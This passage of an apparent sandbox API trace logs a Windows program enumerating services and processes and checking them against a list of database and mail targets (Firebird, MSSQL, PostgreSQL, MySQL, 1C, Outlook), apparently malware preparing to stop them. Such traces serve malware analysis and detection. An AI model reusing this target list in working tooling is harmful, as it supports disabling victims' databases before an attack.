(lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0145.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0145.801] lstrlenW (lpString="LanmanWorkstation") returned 17 [0145.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.801] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0145.801] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0145.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0145.801] lstrlenW (lpString="lfsvc") returned 5 [0145.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0145.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0145.802] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0145.802] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0145.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0145.802] lstrlenW (lpString="lmhosts") returned 7 [0145.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0145.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0145.802] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0145.802] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0145.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0145.802] lstrlenW (lpString="LSM") returned 3 [0145.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0145.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0145.802] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0145.802] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0145.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0145.802] lstrlenW (lpString="MpsSvc") returned 6 [0145.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0145.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0145.802] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0145.802] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0145.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0145.802] lstrlenW (lpString="NcbService") returned 10 [0145.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0145.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0145.802] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0145.802] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0145.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0145.802] lstrlenW (lpString="netprofm") returned 8 [0145.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0145.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0145.802] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0145.802] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0145.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0145.802] lstrlenW (lpString="NgcSvc") returned 6 [0145.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0145.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0145.803] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0145.803] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0145.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0145.803] lstrlenW (lpString="NlaSvc") returned 6 [0145.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0145.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0145.803] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0145.803] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0145.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0145.803] lstrlenW (lpString="nsi") returned 3 [0145.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0145.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0145.803] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0145.803] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0145.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0145.803] lstrlenW (lpString="PcaSvc") returned 6 [0145.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0145.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0145.803] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0145.803] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0145.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0145.803] lstrlenW (lpString="PlugPlay") returned 8 [0145.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0145.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0145.803] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0145.803] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0145.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0145.803] lstrlenW (lpString="Power") returned 5 [0145.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0145.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0145.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0145.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0145.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0145.804] lstrlenW (lpString="ProfSvc") returned 7 [0145.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0145.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0145.804] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0145.804] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0145.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0145.804] lstrlenW (lpString="RpcEptMapper") returned 12 [0145.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0145.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0145.804] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0145.804] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0145.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0145.804] lstrlenW (lpString="RpcSs") returned 5 [0145.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0145.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0145.804] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0145.804] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0145.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0145.804] lstrlenW (lpString="SamSs") returned 5 [0145.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0145.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0145.804] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0145.804] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0145.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0145.804] lstrlenW (lpString="Schedule") returned 8 [0145.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0145.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0145.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0145.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0145.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0145.804] lstrlenW (lpString="SecurityHealthService") returned 21 [0145.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0145.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0145.804] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0145.804] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0145.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0145.805] lstrlenW (lpString="SENS") returned 4 [0145.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0145.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0145.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0145.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0145.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0145.805] lstrlenW (lpString="ShellHWDetection") returned 16 [0145.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0145.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0145.805] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0145.805] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0145.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0145.805] lstrlenW (lpString="Spooler") returned 7 [0145.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0145.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0145.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0145.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0145.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0145.805] lstrlenW (lpString="StateRepository") returned 15 [0145.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0145.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0145.805] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0145.805] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0145.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0145.805] lstrlenW (lpString="SysMain") returned 7 [0145.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0145.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0145.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0145.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0145.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0145.805] lstrlenW (lpString="SystemEventsBroker") returned 18 [0145.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0145.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0145.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0145.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0145.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0145.806] lstrlenW (lpString="Themes") returned 6 [0145.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0145.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0145.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0145.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0145.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0145.806] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0145.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0145.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0145.806] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0145.806] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0145.806] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ecbc0 | out: hHeap=0x510000) returned 1 [0145.806] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x310 [0145.810] Process32FirstW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.810] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0145.881] lstrlenW (lpString="System") returned 6 [0145.882] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0145.883] lstrlenW (lpString="smss.exe") returned 8 [0145.883] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.884] lstrlenW (lpString="csrss.exe") returned 9 [0145.884] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0145.884] lstrlenW (lpString="wininit.exe") returned 11 [0145.884] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.885] lstrlenW (lpString="csrss.exe") returned 9 [0145.885] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0145.886] lstrlenW (lpString="winlogon.exe") returned 12 [0145.886] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0145.887] lstrlenW (lpString="services.exe") returned 12 [0145.887] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0145.970] lstrlenW (lpString="lsass.exe") returned 9 [0145.970] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0145.970] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0145.970] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0145.970] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0145.970] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0145.970] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0145.970] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0145.970] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.971] lstrlenW (lpString="svchost.exe") returned 11 [0145.971] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.971] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.971] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.971] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.971] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.971] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.971] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.971] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0145.971] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0145.972] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1 [0145.972] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1 [0145.972] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1 [0145.972] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1 [0145.972] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1 [0145.972] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1 [0145.972] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1 [0145.972] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0145.972] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0145.972] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1 [0145.972] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1 [0145.972] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1 [0145.972] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1 [0145.972] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1 [0145.972] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1 [0145.972] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1 [0145.973] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.973] lstrlenW (lpString="svchost.exe") returned 11 [0145.973] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.973] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.973] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.973] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.973] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.973] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.973] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.973] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0145.974] lstrlenW (lpString="dwm.exe") returned 7 [0145.974] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0145.974] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0145.974] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0145.974] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1 [0145.974] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1 [0145.974] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1 [0145.974] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1 [0145.974] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.975] lstrlenW (lpString="svchost.exe") returned 11 [0145.975] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.975] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.975] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.975] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.975] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.975] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.975] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.975] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.976] lstrlenW (lpString="svchost.exe") returned 11 [0145.976] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.976] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.976] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.976] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.976] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.976] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.976] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.976] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.976] lstrlenW (lpString="svchost.exe") returned 11 [0145.976] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.976] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.976] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.976] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.977] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.977] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.977] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.977] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.977] lstrlenW (lpString="svchost.exe") returned 11 [0145.977] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.977] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.977] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.977] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.977] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.977] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.977] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.977] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.978] lstrlenW (lpString="svchost.exe") returned 11 [0145.978] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.978] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.978] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.978] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.978] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.978] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.978] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.978] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 